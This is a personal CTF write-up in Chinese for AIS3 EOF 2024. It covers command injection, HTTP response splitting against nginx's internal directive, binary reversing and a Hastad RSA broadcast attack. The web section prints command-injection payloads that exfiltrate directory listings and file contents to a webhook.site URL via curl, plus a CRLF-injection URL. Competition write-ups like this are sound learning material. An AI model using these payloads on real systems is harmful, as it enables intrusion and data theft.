AIS3 EOF 2024 - Writeup
一個爛咖的 WP
misc
Welcome
Web
DNS look up
無法回顯資料,所以我用 webhook 打出來,然後 ls 一層一層往下找後找到 flag
1
$(curl -X POST -d "$(ls ../../..)" https://webhook.site/82959a9b-1933-4f62-bf18-e7e6a74ca549)
雖然有黑名單,但我還是想試試
1
$(curl -X POST -d "$(cat ../../../flag_yxp8ZOjhtl0K8JHq)" https://webhook.site/82959a9b-1933-4f62-bf18-e7e6a74ca549)
卡在無法使用 ?* 來繞過 flag 字串的黑名單。
以前在玩類似的題目時,去 cat ls 是可以跑出內容的,雖然在本地跑可以順利噴出 ls 出來的東西,但因為指令是多個 error 所以無法傳出,最後找到了 find 搭配的方法,讓指令執行一次就好,排除掉無法 cat 的東西。
1
$(curl -X POST -d "$(find ../../.. -maxdepth 1 -type f -exec cat {} +)" https://webhook.site/82959a9b-1933-4f62-bf18-e7e6a74ca549)
Internal
這題透過 nginx 的 internal,設定了 /flag 路徑只能由內部存取
1
2
3
4
location /flag {
internal;
proxy_pass http://web:7777;
}
爬文後發現 internal 的判定方式是使用 x-accel-redirect 標頭,並且這個標頭是使用者沒辦法自行加上的,如果服務端有 CSRF 的洞,可以透過自己架設伺服器,讓服務端發送請求到自架的伺服器上來加上標頭
不過這題沒有 CSRF 可以打,繼續爬文,找到了類似的解法,可以在伺服器回傳重定向網址的步驟,利用 HTTP Response Splitting 的方法把 header 塞入 https://blog.orange.tw/2014/02/olympic-ctf-2014-curling-200-write-up.html
1
self.send_header("Location", redir)
透過帶參數的方式加入 X-Accel-Redirect:/flag
1
http://10.105.0.21:11920/?redir=http://10.105.0.21:11920/%0d%0aX-Accel-Redirect:/flag
這時就會得到一個有 X-Accel-Redirect:/flag 標頭的重定向回應,然後我們就會用這個請求再次去打到服務端,當服務端 nginx 收到帶有標頭的請求,就會使用內部的方式去打 /flag 路徑,最後成功取得 flag
Reverse
Flag Generator
直接丟 kali 用 file 指令看檔案類型,判定是 exe 執行檔 把副檔名改成 .exe 直接執行,會建立一個檔案 flag.exe 但檔案是 0kb,無法執行
題目說明 output 就是 flag,以為這題可能是 Reverse 的送分題(?,接著嘗試了各種組合,當然都是錯的XD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
AIS3{Output_File:_flag.exe_Oops!_Forget_to_write_file.}
AIS3{Output_File:_flag.exe_Oops!_Forget_to_write_file}
AIS3{Output File: flag.exe Oops! Forget to write file.}
AIS3{Output File: flag.exe Oops! Forget to write file}
AIS3{Output File: flag.exe}
AIS3{Output_File:_flag.exe}
AIS3{flag.exe}
AIS3{Output_File:_%s\n}
AIS3{Output_File:_flag.exe\nOops!_Forget_to_write_file.}
丟到 Ghidra,可以看到 _Memory 的部分是要寫入 flag.exe 的,但是 writeFile 裡面並沒有寫入檔案的邏輯
丟到 x64dbg,用 Oops! Forget to write file. 的訊息定位到 writeFile 附近的組合語言,接著和 Ghidra 配著看,找到 free(_Memory) 下斷點,這樣就可以抓到原本要寫入 _Memory 的資料
觀察組合語言可以發現,這時的 RCX RAX 是指向 _Memory,直接去記憶體找資料,把 hex 的值複製下來,打到 vscode 上,最後複製到 HxDPortable 輸出成 .exe 檔
Stateful
一樣 file 看檔案後,拉到 kali 執行,正常執行,執行輸出 wrong 直接丟進 Ghidra 看邏輯,可以發現當使用者輸入的參數字串長度不是 43 時,就會跳錯誤,當使用者輸入 43 長度的字串時,這些字串會被拿去和 k_target 做比對,中途字串被傳入了 state_machine 做處理,這邊可以大概猜測出, k_target 是某種運算後的 flag
進入後可以看到大量的 function 在計算字串,內容都是某個字等於其他兩個字的運算結果
主要是由變數 local_c 來判斷流程,並透過 local_14 和 local_10 來控制 local_c 的值,每次 function 執行完後,會從頭開始判斷,直到最後 bVar1 = Ture
不過我發現 Ghidra 在判斷迴圈的邏輯這裡,反編譯的怪怪的,邏輯錯誤,每次 goto 過來 bVar1 都會直接 = Ture,根本無法跑迴圈,所以我改成用 IDA free 看
這時我打算回推這些運算的順序,來反向運算 k_target 取得 flag 先把運算後的 flag 找出來
透過一步一步追 state_machine 函數中 v5 的值,來得知 function 運行的順序
不知道可不可以用寫 idc 腳本或是用動態分析來追這些 function 的執行流程,但剩1小時多沒時間研究,就直接用手打一個步驟一個步驟紀錄,後來發現當下 v5 的值,執行的 function 名稱後段也會和 v5 是相同的,所以就不用一行一行看判斷式,透過直接找 function 名就好。
把執行的操作整理出來後,就是整個訊息處理的流程,把整個流程邏輯反過來寫(我直接餵給 ChatGPT 讓他幫我生成)
他沒幫我加 ; 還少打了幾的 a,手動補上
#include <stdio.h>
int main()
{
unsigned char a1[] =
{
0x0F, 0x77, 0xEC, 0x33, 0x44, 0x16, 0x13, 0x59, 0x1D, 0x42,
0x84, 0x75, 0x5F, 0xE4, 0x83, 0xC0, 0x3B, 0xC1, 0x95, 0xCF,
0xDB, 0x33, 0x6C, 0xD2, 0xED, 0x72, 0x5F, 0x0D, 0x74, 0x41,
0x5B, 0x73, 0xA0, 0x33, 0x53, 0x24, 0x02, 0x59, 0x74, 0x60,
0x33, 0xCC, 0x7D
};
a1[5] -= a1[37] + a1[20];
a1[8] -= a1[14] + a1[16];
a1[17] -= a1[38] + a1[24];
a1[15] -= a1[40] + a1[8];
a1[37] -= a1[12] + a1[16];
a1[4] -= a1[6] + a1[22];
a1[10] += a1[12] + a1[22];
a1[18] -= a1[26] + a1[31];
a1[23] -= a1[30] + a1[39];
a1[4] -= a1[27] + a1[25];
a1[37] -= a1[27] + a1[18];
a1[41] += a1[3] + a1[34];
a1[13] -= a1[26] + a1[8];
a1[2] -= a1[34] + a1[25];
*a1 -= a1[28] + a1[31];
a1[4] -= a1[7] + a1[25];
a1[18] -= a1[29] + a1[15];
a1[21] += a1[13] + a1[42];
a1[21] -= a1[34] + a1[15];
a1[7] -= a1[10] + *a1;
a1[13] -= a1[25] + a1[28];
a1[32] -= a1[5] + a1[25];
a1[31] -= a1[1] + a1[16];
a1[1] -= a1[16] + a1[40];
a1[30] += a1[13] + a1[2];
a1[1] -= a1[15] + a1[6];
a1[7] -= a1[21] + *a1;
a1[24] -= a1[20] + a1[5];
a1[36] -= a1[11] + a1[15];
*a1 -= a1[33] + a1[16];
a1[19] -= a1[10] + a1[16];
a1[1] += a1[29] + a1[13];
a1[30] -= a1[33] + a1[8];
a1[15] -= a1[22] + a1[10];
a1[20] -= a1[19] + a1[24];
a1[27] -= a1[18] + a1[20];
a1[39] += a1[25] + a1[38];
a1[23] -= a1[7] + a1[34];
a1[37] += a1[29] + a1[3];
a1[5] -= a1[40] + a1[4];
a1[17] -= *a1 + a1[7];
a1[9] -= a1[11] + a1[3];
a1[31] -= a1[34] + a1[16];
a1[16] -= a1[25] + a1[11];
a1[14] += a1[32] + a1[6];
a1[6] -= a1[10] + a1[41];
a1[2] -= a1[11] + a1[8];
*a1 += a1[18] + a1[31];
a1[9] += a1[2] + a1[22];
a1[14] -= a1[35] + a1[8];
printf("%s", a1);
return 0;
}
使用在線上編譯器運算,取得 flag(感恩GPT讚嘆 GPT,讓我不用手打這一堆程式碼
Crypto
Baby RSA
可以注意到 e 特別小,用這個方向找爬文,看了,最後查到 Broadcast 並且可以使用中國餘弦定理來解,因為 FLAG 是固定的,可以透過連接三次 nc 來拿到三個相同明文加密後的密文,同時小指數 e = 3,所以才讓 Broadcast attack 成立
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot
from gmpy2 import invert
def mul(lst):
ret = 1
for n in lst:
ret *= n
return ret
def crt(C, N):
assert len(C) == len(N)
total = 0
modulo = mul(N)
for n_i, c_i in zip(N, C):
p = modulo // n_i
total += c_i * invert(p, n_i) * p
return total % modulo
e = 3
c1 = 4733119412937529507002090605689212814495078620123976147017817306172268124835595551507795731897704179648692035951072660671867924059822363156080959075575933773278140276397600332593111537346820366406883849003808016163717436849584391412486675046066633503767517579711590932450078310381548953647616910920655653596768309981776101641980184155193040977073288616746541480196880841375399673386375374540160031157117294734852453738621648500627126772884854504859394970469985294068691146419644220999521609522272482662561407088447514049031392822570550006456120814014524320144401958325311987878082003739911372721623957250575000060398
n1 = 16145872597258089932860670257814824527965051389676673985177223229414018494961090943817611985729383160746202029785074287650139368358131875110802570339574874367364162987896718461751093383816879393767115899598693950131420617427263015158288351916169831418361332243534782196010267389678893250437560118794873968861914482347796003850789535715148594564819854173766914371111241514429815854997898750697661739201828004579166046517940120787700574372715611025093733463081766680012126143445680099062209173563084943650488236812669795240626883952634066811434970663242935804363972907942662121112320338587995770222944583584442479576041
c2 = 3982486131381142864794176141399198521931946462992841770845691416100732689900077099145975612903671361980038132572061372992688292721433052046074527730765479593608017035901136139521101021509146590136240410827175368637039133330147350463477935508730590528323098446676052570731541956158092072548442067235932652836698416320101656173368223637929237449231661934739367156721691144168715329273752996038628355385190748977047038903708064353884274219647880505368336040532699462674853103588045039654688150131140793039924627671386838941136604607308177371123129411263060136021580543929265770223264673463319896774231445105502542473310
n2 = 20234270486772245968843793211693130032998238122853236543212214344541338801396682433324740616990029927267341006405435980583969804894346484082463446862849000543442022462347785006970787194210540816421614901017275550020431723250071874132816433825381610251698688222893244852331740498852614938279306278080860432427783877655069589141552340995014225861415169939979770551212767190218355886295341511360955243134165374500281335160330957640327530327722018967139890043939460524799229693771066301083604740676511841196353556468210393452592597705602286568662183495227490492616070714358580087924873446275242765072552976142133092094437
c3 = 18032056611007575981014740545440794769313165715696287943791620752526092949080684268453677730775296275071950141213099211480832579902339145999418212301919456491675392816782947512567152018308526258523095143448400165223587346404379872030042264574195465712633269215568676880976476464497772648259008650678663807865020478740949625297238447057864096387452755770076467877529703819837993972679737338517181393280398557138809549552689882675079847871297159601758037756358754130856036734634559896814392427863027785725195987963238394927302418223346524540122521620963464861935368727466189878946758462244975496342397022936513532622098
n3 = 18915404333410177564160829570480850834042129304639352805668183885536952435696983071590228372048525417374098324515834734786979169730181280125616715512057722665189448922934821709532656027380539076943500524100214339683010063756529909155569806430766029666303036787611952644152599699753466722825611184272746644006329637244395021541011751400034500653308126487644637870979998581667385090478550256946261650160857135821627628322030141663228026033056556933721039971154939557420035604715581279704946043926567883992608363807940227533300560345760267103111767017798782702105835931357865077301777556536415672079488495001308187642251
def third_root(n):
m, valid = iroot(n, e)
if valid:
print("Cleartext :", long_to_bytes(m))
else:
print("Unable to find the third root of :", n)
C = [c1, c2, c3]
N = [n1, n2, n3]
for c in C:
third_root(c)
x = crt(C, N)
third_root(x)
程式碼參考: https://docs.xanhacks.xyz/crypto/rsa/08-hastad-broadcast-attack/